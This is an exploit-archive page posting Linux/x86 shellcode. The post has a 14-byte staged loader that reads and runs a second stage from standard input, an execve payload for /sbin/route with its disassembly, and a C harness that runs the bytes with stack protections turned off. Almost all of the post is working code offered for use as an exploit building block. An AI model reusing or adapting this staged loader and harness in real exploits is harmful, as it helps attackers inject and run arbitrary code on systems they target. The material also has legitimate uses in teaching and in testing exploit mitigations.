what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 /sbin/route Shellcode

Linux/x86 /sbin/route Shellcode
Posted Mar 10, 2019
Authored by Daniele Votta

14 bytes small /sbin/route staged shellcode and can read the second stage from STDIN.

tags | shellcode
SHA-256 | f90549cceec2d1b11ecf4aae6e2b968432729ad968cd9101b8a1b8d12f500291

Linux/x86 /sbin/route Shellcode

Change Mirror Download
/*
'''
; Date: 10/03/2019
; Staged-Execve-Route.asm
; Author: Daniele Votta
; Description: This program execute //sbin/route from staged (read input from STDIN) shellcode (14 bytes).
; Tested on: i686 GNU/Linux
'''

execve-stack-route: file format elf32-i386
Disassembly of section .text:

08048080 <_start>:
8048080: 31 c0 xor eax,eax
8048082: 50 push eax
8048083: 68 6f 75 74 65 push 0x6574756f
8048088: 68 69 6e 2f 72 push 0x722f6e69
804808d: 68 2f 2f 73 62 push 0x62732f2f
8048092: 89 e3 mov ebx,esp
8048094: 50 push eax
8048095: 89 e2 mov edx,esp
8048097: 53 push ebx
8048098: 89 e1 mov ecx,esp
804809a: b0 0b mov al,0xb
804809c: cd 80 int 0x80
[+] Extract Shellcode ...
"\x31\xc0\x50\x68\x6f\x75\x74\x65\x68\x69\x6e\x2f\x72\x68\x2f\x2f\x73\x62\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
(30 bytes)

======================= POC Daniele Votta =======================
*/

#include<stdio.h>
#include<string.h>

/*
Compile: gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode
How to use: echo -ne "\x31\xc0\x50\x68\x6f\x75\x74\x65\x68\x69\x6e\x2f\x72\x68\x2f\x2f\x73\x62\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"|./shellcode
*/

/* Read Shellcode from STDIN (127 bytes | 0x7F) Execve //sbin/route (14 bytes) */
unsigned char code[] = \
"\x6A\x7F\x5A\x54\x59\x31\xDB\x6A\x03\x58\xCD\x80\x51\xC3";

int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close